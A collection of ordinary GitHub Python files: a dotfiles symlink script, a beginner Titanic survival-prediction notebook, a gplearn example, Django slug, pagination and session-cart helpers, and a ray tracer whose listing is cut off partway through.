+{"seq_id":"2962164900","text":"#!/usr/bin/env python3\n#\n# ~/.sym_links.py\n#\n\nfrom pathlib import Path\nimport logging as logger\nimport typing\nimport sys\nimport os\n\nclass FilePair:\n def __init__(self, source, destination, old_api=False):\n destination = Path(destination)\n self.source = Path(source)\n\n if old_api:\n self.destination = destination\n self.destination_file = destination / source.name\n # in new api, the destination file is explicit, not implied from source name\n else:\n self.destination = destination.parent\n self.destination_file = destination\n\n def verify(self):\n if not self.source.exists():\n raise InvalidPairError('source path does not exist', self)\n\n def __str__(self):\n return f'FilePair {{ Source: ({self.source}) Destination: ({self.destination}) }}'\n\nclass InvalidPairError(Exception):\n def __init__(self, reason, pair):\n super().__init__(reason)\n self.pair = pair\n\n#\n# Script Adjustments\n#\n\n# logging configuration\nif len(sys.argv) > 1 and sys.argv[1].lower() == 'debug':\n logger.basicConfig(level=logger.DEBUG, format='[%(levelname)s] %(message)s')\nelse:\n logger.basicConfig(level=logger.INFO, format='%(message)s')\n\n# safe mode\nsafe_mode = True\n\n# indentation level\nindent = ' '\n\n# path variables\nuser_home = Path.home()\nduplicates = user_home / '.sym_links_duplicates'\nrepository = user_home / 'Repos/dotfiles'\n\nconfig = FilePair(repository / '.config', user_home / '.config', old_api=True) \nbin = FilePair(repository / '.local/bin', user_home / '.local/bin', old_api=True)\n\nrc_files = (\n FilePair(repository / '.bashrc', user_home / '.bashrc'),\n FilePair(repository / '.zshrc', user_home / '.zshrc'),\n FilePair(repository / '.vimrc', user_home / '.vimrc'),\n FilePair(repository / '.inputrc', user_home / '.inputrc'),\n FilePair(repository / '.screenrc', user_home / '.screenrc'),\n)\n\nconfig_files = (\n FilePair(config.source / 'kitty/kitty.conf', config.destination / 'kitty/kitty.conf'),\n FilePair(repository / '.sh_aliases', user_home / '.sh_aliases'),\n FilePair(repository / '.sh_env', user_home / '.bashenv'),\n FilePair(repository / '.sh_env', user_home / '.zshenv'),\n)\n\nbin_files = ()\n\n#\n#\n#\n\ndef create_destination_location(pair: FilePair):\n logger.debug(f'{indent}Ensuring ({pair.destination}) is a valid symlink destination...')\n destination = pair.destination.resolve()\n if not destination.exists():\n os.makedirs(destination, exist_ok=True)\n\ndef replace_destination_file(file_path: Path):\n logger.debug('{2}({0}) already exists, {1}moving file...'.format(file_path, '' if safe_mode else 're', indent))\n\n if safe_mode:\n os.rename(file_path, duplicates / file_path.name)\n else:\n os.remove(file_path)\n\ndef handle_destination(pair: FilePair):\n create_destination_location(pair)\n\n if pair.destination_file.exists():\n replace_destination_file(pair.destination_file)\n\ndef create_symlinks(pairs: typing.List[FilePair]):\n for pair in pairs:\n handle_destination(pair)\n\n os.symlink(pair.source, pair.destination_file)\n logger.info(f'{indent}Created symlink ({pair.source}) -> ({pair.destination_file})')\n\ndef verify_symlinks(pairs: typing.List[FilePair]):\n for pair in pairs:\n pair.verify()\n logger.info(f'{indent}Verified ({pair.source}) -> ({pair.destination})')\n\ndef link_files(file_type: str, pairs: typing.Tuple[FilePair]):\n logger.info(f'\\nVerifying {file_type} file symlinks...')\n verify_symlinks(pairs)\n\n logger.info(f'\\nCreating {file_type} file symlinks...')\n create_symlinks(pairs)\n\ndef verify_repository():\n if not repository.exists():\n logger.error(f'Repository ({repository}) does not exist')\n exit(1)\n\ndef main():\n if safe_mode:\n os.makedirs(duplicates, exist_ok=True)\n\n try:\n verify_repository()\n link_files('rc', rc_files)\n link_files('config', config_files)\n link_files('bin', bin_files)\n logger.info('\\nSymlink creation complete.')\n except InvalidPairError as err:\n logger.error(f'{indent}Failed to verify pair, {err}: {err.pair}')\n exit(1)\n\nif __name__ == '__main__':\n main()\n","repo_name":"marcelkoz/dotfiles","sub_path":".sym_links.py","file_name":".sym_links.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15694644995","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # My Take on the Beginner Titanic Kernel\n# Welcome to my first kernel! I will be exploring the [Titanic data set](https://www.kaggle.com/c/titanic) as a way to practice and learn data science techniques. Many of the ideas I use here will be shamelessly stolen from other kernels. I will cite any code or plots that are lifted directly from someone else.\n# \n# ### Table of Contents\n# 1. [Introduction](#introduction-what-we-expect-to-see)\n# 2. [Import the data and first observations](#import-the-data-and-first-observations)\n# 3. [Super Simple Model](#super-simple-model)\n# 4. [Improved Model](#improved-model)\n# 5. [Predictions](#predictions)\n\n# ## Introduction: What we expect to see\n# The Titanic data set contains records of passengers aboard the ship and whether they survived or died when the ship sank.\n# \n# Here are the columns in the training set from the [data dictionary](https://www.kaggle.com/c/titanic/data)\n# \n# | Variable | Definition | Key |\n# |:---------|:-------------------------------------------|:-----------------------------------------------|\n# | survival | Survival | 0 = No, 1 = Yes |\n# | pclass | Ticket class | 1 = 1st, 2 = 2nd, 3 = 3rd |\n# | sex | Sex | |\n# | Age | Age in years | |\n# | sibsp | # of siblings / spouses aboard the Titanic | |\n# | parch | # of parents / children aboard the Titanic | |\n# | ticket | Ticket number | |\n# | fare | Passenger fare | |\n# | cabin | Cabin number | |\n# | embarked | Port of Embarkation | C = Cherbourg, Q = Queenstown, S = Southampton |\n# \n# \n# I expect from prior knowledge of this disaster that women, children, and the upper class will have better survival rates. We could make a baseline model using only those features before attempting to engineer others.\n\n# ## Import the data and first observations\n\n# In[ ]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().magic(u'matplotlib inline')\n\n#ignore warnings\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n# In[ ]:\n\n\n# Read train and test data into pandas dataframes\ntrain = pd.read_csv(\"../input/train.csv\")\ntest = pd.read_csv(\"../input/test.csv\")\n\n# Take a look at the training data\ntrain.sample(5)\n\n\n# In[ ]:\n\n\ntrain.describe()\n\n\n# **Observations**\n# * We want to use the gender of the passengers in our model. The values in the column `Sex` are encoded as strings: `female` and `male`. We will have to convert this column to a numerical encoding to use it for modeling.\n# * `Age` has a lot of `NaN` values (its count in the training set is 714, compared to 891 rows). Since we expect we will want to use this, we need to either drop all the rows with `NaN` values (which would throw away 177 rows, kind of a lot) or come up with a way to impute the missing data.\n\n# ## Super simple model\n# We'll make a basic data set, with the most obvious features: `Age`, `Sex`, and `Pclass`. We will have to clean `Age` and extract `Sex` into a usable form. \n# \n# Once we construct the training and test data with these columns, we will use the Gaussian Naïve Bayes model to make predictions and get a score. Later, when we make more sophisticated features and use other models, we can use this score as a baseline.\n\n# ### Encoding Categorical Sex Column\n# To use the `Sex` column, we must convert it from a categorical encoding (which has as its values strings `female` and `male`) to a one-hot encoding (with two columns, `Sex_female` and `Sex_male`, taking values 0 and 1). The way this is often done is with the pandas function `get_dummies`. However, this function can have unwanted side effects on test data. If the training data and the test data do not have the same set of values, then the resulting one-hot encoded training and test data will not have the same number of columns. This causes a problem with downstream models, which require training and test data columns to be identical. So, to use `get_dummies`, we must resolve any problems by hand. At best, this is a fiddly, manual process; at worst this can introduce data leakage of the test set into the training set. Both of these can and should be avoided!\n# \n# There are encoders in scikit-learn to take care of this, by using the training set to create the encoded columns and fitting the test set onto those same columns. But as far as I know, they don't handle string categories well (or at all). There is a CategoricalEncoder that is present in the source repository, but has not been released yet. As of now, we can use the `OneHotEncoder` from the `category_encoders` library to do the same function.\n# \n# I will not do what I have seen in other tutorials, which is to simply map values in the `Sex` column to 1 if `male` and 0 if `female`. For one reason, that approach does not work on categorical variables in general; it presumes we know all the values beforehand. And for another, gender isn't a binary, and I as a matter of princliple will never use a single binary column for it.\n\n# In[ ]:\n\n\nimport category_encoders as ce\n\nohe = ce.one_hot.OneHotEncoder(cols=['Sex'], handle_unknown='ignore', use_cat_names=True)\ntrain_basic = ohe.fit_transform(train[['Pclass', 'Age', 'Sex']])\n\n# If this were our actual model for submission, we would transform the test data as well\n# test_basic = ohe.transform(test[['Pclass', 'Age', 'Sex']])\n\ntrain_basic.head()\n\n\n# ### Impute Missing Age Data: Basic Approach\n# Now that we have one-hot encoded `Sex`, we need to impute missing data for `Age`. There are a lot of different ways we could do this, but for this simple model we take the simplest one: find the mean of all values of `Age`, and use that mean to fill in the missing values.\n# \n# Note that we only take the mean over the training data, and use that mean to fill missing values in both training and test data. Always remember to avoid data leakage!\n\n# In[ ]:\n\n\nfrom sklearn.impute import SimpleImputer\nimp = SimpleImputer(strategy='mean')\ntrain_basic = imp.fit_transform(train_basic)\n# test_basic = imp.transform(test_basic)\n\n\n# ### Training and Validation Data\n# We need to have a way to score our models without using the testing data. For the purposes of model exploration, we split the training data into a smaller training set and a validation set.\n\n# In[ ]:\n\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_validation, y_train, y_validation = train_test_split(train_basic, train['Survived'], random_state=43210)\n\n\n# ### Fit a Model and Make Predictions\n# It is time now to predict the survival from passenger records in the test set. \n# \n# There are many models we could choose. But, again, this model should stick to basics. We will go through other models later when we have a more interesting data set. So, for now, we will choose Gaussian Naïve Bayes, simply to have some baseline for later comparisons.\n\n# In[ ]:\n\n\nfrom sklearn.naive_bayes import GaussianNB\n\ngnb = GaussianNB()\ngnb.fit(X_train, y_train)\ngnb.score(X_validation, y_validation)\n\n\n# We got 80% accuracy for our simple model. That isn't terrible! But let's see what else we can do to make it better.\n\n# ## Improved Model\n# How can we improve on this model? \n# * Of the features we included in the simple model, `Pclass` and `Sex` seem to be pretty finished. There isn't much else we can do to improve them. We could improve `Age` by finding a better way to impute the missing values.\n# * There are lots of other columns in the data set that we simply ignored when making our basic model. We might be able to pull something out of those.\n# \n# In looking at these other columns, we should compare the values we see to `Survival`. We want to see whether some difference in the column's values correlates to a difference in `Survival` values. If we find that, then hopefully we have found a meaningful signal our model can use to improve its accuracy.\n\n# ### Cabin\n# Since we expect that passenger class predicts survival, might cabin numbers also be predictive? Let's take a look.\n\n# In[ ]:\n\n\ntrain['Cabin'].describe()\n\n\n# In[ ]:\n\n\ntrain['Cabin'].unique()\n\n\n# #### Cabin Observations\n# * A ton of unique values. Which we would expect. Most cabins would only hold a few people.\n# * Also a lot of `nan` values.\n# * The cabin numbers begin with a letter, which identifies the deck. The lower the letter, the higher the class of the passenger.\n# * Given that we see more lower letters and fewer higher letters (few `E`s and almost no `F`s, for instance) we infer that it is more likely that higher-class passengers had their cabins recorded.\n# * There is one `T` in there, which is weird. There was no deck `T` on Titanic. We'll check on that passenger.\n# * Several entries have more than one cabin. I assume those are families that booked a block of cabins together, and each person had all the cabins on their records. We'll check that.\n# * A couple records are anomalous in that they have a letter with no number, but then a different letter+number combo. For instance: \"`F G73`\" and \"`F E69`\". I don't know what to think about those.\n# \n# Let's look at some of the outlier entries.\n\n# In[ ]:\n\n\ntrain[(train['Cabin'] == 'T') | (train['Cabin'] == 'B51 B53 B55') | (train['Cabin'] == 'F E69') | (train['Cabin'] == 'F G73')]\n\n\n# #### Cabin Observations, Continued\n# Don't know what to think about those anamalous entries.\n# * My hypothesis about multiple cabin numbers being for families is wrong. There are two passengers with cabin entry `B51 B53 B55`. \n# * I thought it would have been three, since there are three cabins.\n# * They aren't in the same family. They have different names. One of them is traveling alone, the other with a parent or child.\n# * They didn't even embark from the same port.\n# * Other anomalous cabins are similarly perplexing. I can't find a pattern in what I'm seeing.\n# \n# I guess I'll just ignore these strange entries and proceed as if they aren't anomalous at all. \n\n# What we'll do with the cabin is create a numeric feature:\n# * We extract one deck letter from the cabin value.\n# * We map that letter onto a numeric value (A->7, B->6, etc.)\n# * For any missing values, we impute the mean for passengers of the same class.\n\n# In[ ]:\n\n\nimport re\n\nsingleLetterRe = re.compile(r\"^[A-Z]$\") # This will clean the weird 'T' value\ncabinRe = re.compile(r\"^([A-Z] )?([A-Z])\\d+.*$\")\ndecks = dict(zip('ABCDEFG', range(7, 0, -1)))\n\n# First, make the numeric deck column for train and test, preserving nan\nfor df in (train, test):\n df['Deck'] = (df['Cabin'].replace(singleLetterRe, np.nan)\n .replace(cabinRe, '\\\\2')\n .map(decks, na_action='ignore'))\n\n# Next, fill in missing deck values\n# We group decks by pclass and take the mean, then fill all the missing values\n# with the mean for their plass\ndeckmeans = train[['Pclass', 'Deck']].groupby('Pclass')['Deck'].mean()\nfor pclass in 1,2,3:\n train.loc[(train['Pclass'] == pclass) & (train['Deck'].isna()), 'Deck'] = deckmeans[pclass]\n test.loc[(test['Pclass'] == pclass) & (test['Deck'].isna()), 'Deck'] = deckmeans[pclass]\nprint(train.groupby('Deck')['Deck'].count())\n\nplt.figure(figsize=(14,6))\nsns.barplot(x=\"Deck\", y=\"Survived\", data=train, ax=plt.gca());\n\n\n# ### Cabin: present or not?\n# Another signal we can interpret from the `Cabin` column is whether a cabin was recorded for a passenger or not. \n\n# In[ ]:\n\n\nfor df in train, test:\n df['cabin_was_recorded'] = ~df['Cabin'].isna()\nsns.barplot(x='cabin_was_recorded', y='Survived', data=train);\n\n\n# This looks like it separates the values pretty well. We can include it and see if it will be helpful.\n\n# ### Title\n# We can't really use the passenger's names directly. There is a ton of variation, most of which is noise. Or so I assume; maybe there is a signal lurking in there that I can't see.\n# \n# One thing that is somewhat regular in the name is the title. Every passenger's name has some kind of title, like `Mr.` or `Mrs.`. Some are only used for younger passengers, like `Master.` or `Miss.` We can extract this title into a column.\n# \n# While it may or may not be useful on its own, the title can give us a better way to impute missing age values.\n\n# In[ ]:\n\n\n# This process of splitting gets us the word immediately before a '.'\nfor df in train,test:\n df['Title'] = df['Name'].str.extract(' ([A-Za-z]+)\\.', expand=False)\ntrain.groupby('Title')['Title'].count()\n\n\n# In[ ]:\n\n\nplt.figure(figsize=(18,6));\nsns.barplot(x='Title', y='Survived', data=train, ax=plt.gca());\n\n\n# Okay, so that's all the titles. Doesn't look like we can use it in a model super directly. But how to they break down by age? Let's look at the age distributions for the four most common titles.\n\n# In[ ]:\n\n\nfig, axes = plt.subplots(2, 2, figsize=(18,6))\nbins = range(0, 70, 5)\nfor title, ax in zip(('Master', 'Miss', 'Mr', 'Mrs'), axes.flatten()):\n sns.distplot(train.loc[train['Title']==title, 'Age'].dropna(), bins=bins, kde=False, ax=ax, label=title)\n ax.legend()\n\n\n# This looks to me like you can guess pretty well the age of the passengers by looking at their titles. So that's how we will impute the age values. We'll group by Title, take the mean of the ages, and fill missing values for Age based on their Title's mean. (If any are still missing after that, we can try the same procedure with Sex.)\n\n# In[ ]:\n\n\ntitleagemeans = train[['Title', 'Age']].groupby('Title')['Age'].mean()\nfor title in train['Title'].unique():\n if titleagemeans[title] == np.nan:\n # If, say, one of the rare titles is missing all age values,\n # its mean will still be nan.\n # Skip it for now. We can check later if there are \n # still nan values for Age to fill in\n continue\n train.loc[(train['Title'] == title) & (train['Age'].isna()), 'Age'] = titleagemeans[title]\n test.loc[(test['Title'] == title) & (test['Age'].isna()), 'Age'] = titleagemeans[title] \n\n\n# In[ ]:\n\n\n# Now sweep up any values left over\nimp = SimpleImputer(strategy='mean')\ntrain['Age'] = imp.fit_transform(train['Age'].values.reshape(-1, 1))\ntest['Age'] = imp.transform(test['Age'].values.reshape(-1, 1))\n\n\n# In[ ]:\n\n\nnp.any(train['Age'].isna())\n\n\n# ### Age Bins\n# Now that we have filled in the missing Age values, let's discretize the data. We can convert these data into bins; let's say we want 5 bins, which would make them of size (80-0)/5=16. \n# \n# We'll create this column by hand.\n\n# In[ ]:\n\n\nbinsize = 16\nfor df in train, test:\n df['Age band'] = (df['Age'] - df['Age'].mod(binsize)).div(binsize).astype(int)\ntrain['Age band'].value_counts().to_frame()\n\n\n# ### Traveling with Family or Alone\n# Next we try to pull something out of `SibSp` and `Parch`. A reminder of the column definitions:\n# * **sibsp** # of siblings / spouses aboard the Titanic\n# * **parch** # of parents / children aboard the Titanic\n# \n# In particular, I'm going to look at whether a passenger was traveling alone. Does that have any predictive value we can pull out?\n\n# In[ ]:\n\n\nfor df in train, test:\n df['Alone'] = 0\n df.loc[(df['SibSp'] == 0) & (df['Parch'] == 0), 'Alone'] = 1\n\n\n# In[ ]:\n\n\nsns.barplot(x='Alone', y='Survived', hue='Sex', data=train);\n\n\n# It looks as if being alone gives a small improvement to the survival chance of women, but decreases the survival chance of men.\n# \n# What about different ages? Can we see an effect on whether being alone impacts survival based on age?\n\n# In[ ]:\n\n\ng = sns.FacetGrid(train, col='Alone', row='Sex', margin_titles=True, size=5)\ng.map(sns.barplot, 'Age band', 'Survived');\n\n\n# I can see two useful features we could engineer out of here. \n# * We could make a binary column for \"Alone_male\". This seems pretty correlated to a low survival rate. (Not depicted in the plots, however, is the 80-year-old man traveling alone who did survive.)\n# * The survival rate appears linear for women who are not traveling alone. We can make a column for this, with the values for women not alone being equal to their age band, and the value for everyone else set to -1.\n\n# In[ ]:\n\n\nfor df in train, test:\n df['Alone_male'] = 0\n df.loc[(df['Alone'] == 1) & (df['Sex'] == 'male'), 'Alone_male'] = 1\n \n df['Accompanied_female_age_band'] = -1\n accompanied_females = (df['Alone'] == 0) & (df['Sex'] == 'female')\n df.loc[accompanied_females, 'Accompanied_female_age_band'] = df.loc[accompanied_females, 'Age band']\n\nfig, axes = plt.subplots(1, 2, figsize=(14,6))\nsns.barplot(x='Alone_male', y='Survived', data=train, ax=axes[0]);\nsns.barplot(x='Accompanied_female_age_band', y='Survived', data=train, ax=axes[1]);\n\n\n# ### Fare\n# I don't really know anything about the Fare column. I don't see how it could give us more information than Pclass. But let's check it out.\n\n# In[ ]:\n\n\nplt.figure(figsize=(10,6))\nsns.distplot(train['Fare'], ax=plt.gca());\n\n\n# #### Observations\n# * Almost everyone paid very little for their tickets.\n# * A few paid more, some a lot more.\n# \n# Who paid over £500 for their tickets?\n\n# In[ ]:\n\n\ntrain[train['Fare'] > 500]\n\n\n# Since I assume fares are correlated with Pclass, let's examine those together.\n\n# In[ ]:\n\n\nfig, axes = plt.subplots(1, 3, figsize=(18,6))\n\nfor i in range(3):\n sns.distplot(train.loc[train['Pclass'] == i+1, 'Fare'], ax=axes[i])\n axes[i].set_title('Fares in Pclass {}'.format(i+1));\n\n\n# I can't make anything out of this. And given that I don't expect the fare a passenger paid would have any correlation to their survival, I'm not going to include it.\n\n# ## Predictions\n# Let's return to our Gaussian Naïve Bayes model. Are we doing better than we did before?\n# \n# ### Features\n# The features we are going to keep:\n# * Pclass\n# * Deck\n# * cabin_was_recorded\n# * Age band\n# * Alone\n# * Alone_male\n# * Accompanied_female_age_band\n# * Sex_male\n# * Sex_female\n# \n# The features we are going to drop:\n# * PassengerId\n# * Name\n# * Age\n# * SibSp\n# * Parch\n# * Ticket\n# * Fare\n# * Cabin\n# * Embarked\n# * Title\n\n# In[ ]:\n\n\ndrop_cols = ['PassengerId', 'Name', 'Age', 'SibSp', 'Parch', 'Ticket', 'Fare', 'Cabin', 'Embarked', 'Title']\ntest_ids = test['PassengerId']\nsurvived = train['Survived']\ntrain = train.drop(drop_cols + ['Survived'], axis=1)\ntest = test.drop(drop_cols, axis=1)\n\n\n# Lastly, don't forget to encode Sex as a categorical feature\n\n# In[ ]:\n\n\nohe = ce.one_hot.OneHotEncoder(cols=['Sex'], handle_unknown='ignore', use_cat_names=True)\ntrain = ohe.fit_transform(train)\ntest = ohe.transform(test)\n\n\n# In[ ]:\n\n\ntrain.head()\n\n\n# In[ ]:\n\n\nX_train, X_validation, y_train, y_validation = train_test_split(train, survived, random_state=43210)\n\ngnb = GaussianNB()\ngnb.fit(X_train, y_train)\ngnb.score(X_validation, y_validation)\n\n\n# Ok, our score got worse. That's a bit disheartening.\n\n# In[ ]:\n\n\nX_train, X_validation, y_train, y_validation = train_test_split(train[['Pclass', 'Age band', 'Sex_male', 'Sex_female']], survived, random_state=43210)\n\ngnb = GaussianNB()\ngnb.fit(X_train, y_train)\ngnb.score(X_validation, y_validation)\n\n\n# Well, at least we can recover our 80% score by keeping only the few features we had for our simple model. Still, it doesn't feel great to have done all the work of putting together those features and seeing it make things worse.\n\n# ### XGBoost\n\n# In[ ]:\n\n\nimport xgboost as xg\nfrom sklearn.model_selection import cross_val_score\n\nxgb = xg.XGBClassifier(n_estimators=900, learning_rate=0.1)\nresult=cross_val_score(xgb, train, survived, cv=5, scoring='accuracy')\nprint('The cross validated score for XGBoost is:',result.mean())\n\n\n# In[ ]:\n\n\nxgb.fit(train, survived)\npredictions = xgb.predict(test)\n\n\n# In[ ]:\n\n\nresults = pd.DataFrame()\nresults['PassengerId'] = test_ids\nresults['Survived'] = predictions\nresults.head()\n\n\n# In[ ]:\n\n\nresults.to_csv('results.csv', index=False)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/flavin/my-take-on-the-beginner-titanic-kernel/my-take-on-the-beginner-titanic-kernel.py","file_name":"my-take-on-the-beginner-titanic-kernel.py","file_ext":"py","file_size_in_byte":20406,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"71711707361","text":"from gplearn.genetic import SymbolicRegressor\nimport numpy as np\n\n# Prepare the data\nX = np.linspace(-1, 1, 100).reshape(-1, 1)\nconstant = np.ones((100, 1))\nX_with_constant = np.hstack((X, constant))\ny = X**2 + np.random.normal(0, 0.1, X.shape)\n\n# Create the estimator\nest_gp = SymbolicRegressor(population_size=5000,\n generations=20, stopping_criteria=0.01,\n p_crossover=0.7, p_subtree_mutation=0.1,\n p_hoist_mutation=0.05, p_point_mutation=0.1,\n max_samples=0.9, verbose=1,\n parsimony_coefficient=0.01, random_state=0)\n\n# Fit the estimator to the data\nest_gp.fit(X, y)\n\n# Retrieve the best symbolic expression\n\nbest_program = est_gp._program\n\n# Print the expression as a string\nprint(str(best_program))\n","repo_name":"marcelo-rg/KineticLearn","sub_path":"other_scripts/GPlearn_dummy.py","file_name":"GPlearn_dummy.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20533317527","text":"import string\nimport random\nfrom django.utils.text import slugify\nfrom django.core.paginator import Paginator\n\n\ndef random_string_generator(size=10, chars=string.ascii_lowercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef unique_slug_generator(instance, new_slug=None):\n slug = new_slug if new_slug is not None else slugify(instance.title)\n Klass = instance.__class__\n max_length = Klass._meta.get_field('slug').max_length\n slug = slug[:max_length]\n qs_exists = Klass.objects.filter(slug=slug).exists()\n\n if qs_exists:\n new_slug = \"{slug}-{randstr}\".format(\n slug=slug[:max_length-5], randstr=random_string_generator(size=4))\n\n return unique_slug_generator(instance, new_slug=new_slug)\n return slug\n\n\ndef shop_pagination(request, query):\n paginator = Paginator(query, 1)\n page_number = request.GET.get('page')\n # ======= which connect page connect and pagination =======\n page_data = paginator.get_page(page_number)\n total = page_data.paginator.num_pages\n\n return {\n 'total_product': page_data,\n 'totalpage': [n + 1 for n in range(total)],\n }\n","repo_name":"M-Sharjeel-Shaikh/django-ecommerce-web-application","sub_path":"store/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23369779892","text":"from shop.models import Product\nfrom django.forms.models import model_to_dict\n\n\nclass Cart(object):\n def __init__(self, request):\n self.session = request.session\n cart = self.session.get('cart')\n if not cart:\n cart = self.session['cart'] = {}\n self.cart = cart\n\n def add(self, product, qty):\n product_id = str(product.id)\n if product_id not in self.cart:\n self.cart[product_id] = {'quantity': qty,\n 'price': product.price,\n 'cost': product.price * qty}\n self.save()\n\n def change_quantity(self, product, quantity):\n self.cart[str(product.id)]['quantity'] = quantity\n self.cart[str(product.id)]['cost'] = product.price * quantity\n self.save()\n\n def remove(self, product):\n product_id = str(product.id)\n if product_id in self.cart:\n del self.cart[product_id]\n self.save()\n\n def save(self):\n self.session['cart'] = self.cart\n self.session.modified = True\n\n def __iter__(self):\n product_ids = self.cart.keys()\n products = Product.objects.filter(id__in=product_ids)\n for product in products:\n self.cart[str(product.id)]['product_name'] = product.name\n self.cart[str(product.id)]['product_get_absolute_url'] = product.get_absolute_url()\n self.cart[str(product.id)]['product_id'] = product.id\n self.cart[str(product.id)]['product_stock'] = product.stock\n self.cart[str(product.id)]['product_image_url'] = product.get_main_image().image.url\n\n for item in self.cart.values():\n item['price'] = int(item['price'])\n item['quantity'] = int(item['quantity'])\n item['cost'] = int(item['cost'])\n yield item\n\n def __len__(self):\n return sum(int(item['quantity']) for item in self.cart.values())\n\n def get_total_price(self):\n return sum(int(item['price']) * int(item['quantity']) for item in self.cart.values())\n\n def clear(self):\n del self.session['cart']\n self.session.modified = True\n","repo_name":"gurgenXD/onlineShop","sub_path":"autoStarter/orders/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7004357827","text":"import argparse\n\nfrom abc import ABC, abstractmethod\nfrom enum import Enum\nfrom typing import Sequence, Tuple, Optional\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tqdm import tqdm\n\nEPSILON = 1e-10\n\nclass Material(Enum):\n MIRROR = 1\n LIGHT = 2\n DIFFUSE = 3\n\nclass Ray(object):\n def __init__(self, normal: np.array, start: np.array):\n assert normal.shape == (3,)\n assert start.shape == (3,)\n self.normal = normal\n self.start = start\n \n def __call__(self, distance: float) -> np.array:\n assert distance > 0\n return self.start + distance * self.normal\n\nclass Reflection(object):\n def __init__(self, distance: float, ray: Optional[Ray], color: np.array, material: Material):\n assert color.shape == (3,)\n assert distance > 0\n self.distance = distance\n self.ray = ray\n self.color = color\n self.material = material\n\nclass Thing(ABC):\n @abstractmethod\n def __init__(self, color: np.array, material: Material):\n assert color.shape == (3,)\n self.color = color\n self.material = material\n\n @abstractmethod\n def surface_normal(self, point: np.array) -> np.ndarray:\n pass\n\n @abstractmethod\n def intersect(self, ray: Ray) -> Tuple[float, Optional[np.array]]:\n pass\n\n def __call__(\n self,\n ray: Ray\n ) -> Reflection:\n distance, intersection = self.intersect(ray)\n if distance == np.inf:\n return Reflection(distance, None, self.color, self.material)\n\n surface_normal = self.surface_normal(intersection)\n\n if self.material == Material.MIRROR:\n normal = ray.normal - 2 * surface_normal.dot(ray.normal) * surface_normal\n elif self.material == Material.DIFFUSE:\n normal = normalize(np.random.normal(size=3))\n if np.sign(normal.dot(surface_normal)) == np.sign(ray.normal.dot(surface_normal)):\n normal = -normal\n else:\n normal = np.array([0, 0, 0])\n\n return Reflection(\n distance,\n Ray(normal, intersection),\n self.color,\n self.material)\n \nclass Plane(Thing):\n def __init__(self, normal: np.array, start: np.array, color: np.array, material: Material):\n super().__init__(color, material)\n assert normal.shape == (3,)\n assert start.shape == (3,)\n self.normal = normal\n self.start = start\n\n def surface_normal(self, point: np.array) -> np.array:\n return self.normal\n\n def intersect(self, ray: Ray) -> Tuple[float, Optional[np.array]]:\n denominator = self.normal.dot(ray.normal)\n if denominator == 0:\n return np.inf, None\n\n distance = (self.start - ray.start).dot(self.normal) / denominator\n if distance <= EPSILON:\n return np.inf, None\n \n return distance, ray(distance)\n\n\nclass Sphere(Thing):\n def __init__(self, center: np.array, radius: float, color: np.array, material: Material):\n super().__init__(color, material)\n\n assert center.shape == (3,)\n self.center = center\n self.radius = radius\n\n def surface_normal(self, point: np.array) -> np.array:\n return (point - self.center) / self.radius\n\n def intersect(self, ray: Ray) -> Tuple[float, Optional[np.array]]:\n diff = self.center - ray.start\n under_rot = (diff.dot(ray.normal) ** 2\n + self.radius ** 2\n - (diff).dot(diff))\n if under_rot < 0:\n return np.inf, None\n rot = np.sqrt(under_rot)\n c = diff.dot(ray.normal)\n candidates = [c + rot, c - rot, np.inf]\n distance = min(c for c in candidates if c > EPSILON)\n\n if distance == np.inf:\n return np.inf, None\n return distance, ray(distance)\n \n\nclass World(object):\n def __init__(self, things: Sequence[Thing], max_bounces: int = 3):\n self.things = things\n self.max_bounces = max_bounces\n \n def __call__(self, ray: Ray):\n color = np.ones(3)\n for bounce in range(self.max_bounces):\n reflection = min((thing(ray) for thing in self.things), key = lambda r: r.distance)\n color *= reflection.color\n if (color == np.zeros(3)).all() or reflection.ray is None:\n break\n elif reflection.material == Material.LIGHT:\n return color\n ray = reflection.ray\n return np.zeros(3)\n\n\nclass Camera(object):\n def __init__(self,\n resolution: Tuple[int, int],\n left_edge: np.array,\n position: np.array,\n normal: np.array):\n assert normal.shape == (3,)\n assert left_edge.shape == (3,)\n assert position.shape == (3,)\n self.resolution = resolution\n self.left_edge = left_edge\n self.position = position\n self.normal = normal\n \n self.top_edge = np.cross(normal, left_edge) * resolution[1]/resolution[0]\n\n def __call__(self, world: World) -> np.array:\n image = np.zeros([*self.resolution, 3])\n for i in range(self.resolution[0]):\n for j in range(self.resolution[1]):\n normal = normalize(\n self.normal\n + (i - self.resolution[0] / 2) * self.left_edge / (self.resolution[0] / 2)\n + (j - self.resolution[1] / 2) * self.top_edge / (self.resolution[1] / 2)\n )\n ray = Ray(normal, self.position)\n image[i, j, ...] = world(ray)\n return image\n\n\ndef normalize(a: np.array) -> np.array:\n return a / np.sqrt(a.dot(a))\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--image_size', default=100, type=int)\n parser.add_argument('--num_passes', default=10, type=int)\n parser.add_argument('--num_bounces', default=3, type=int)\n return parser.parse_args()\n\ndef main():\n args = _parse_args()\n world = World([\n Plane(np.array([0, 1, 0]), np.array([0, 2, 0]),\n np.array([1.0, 0.2, 0.1]), Material.DIFFUSE),\n Plane(np.array([0, 1, 0]), np.array([0, -1, 0]),\n np.array([1, 1, 1]), Material.DIFFUSE),\n Plane(np.array([1, 0, 0]), 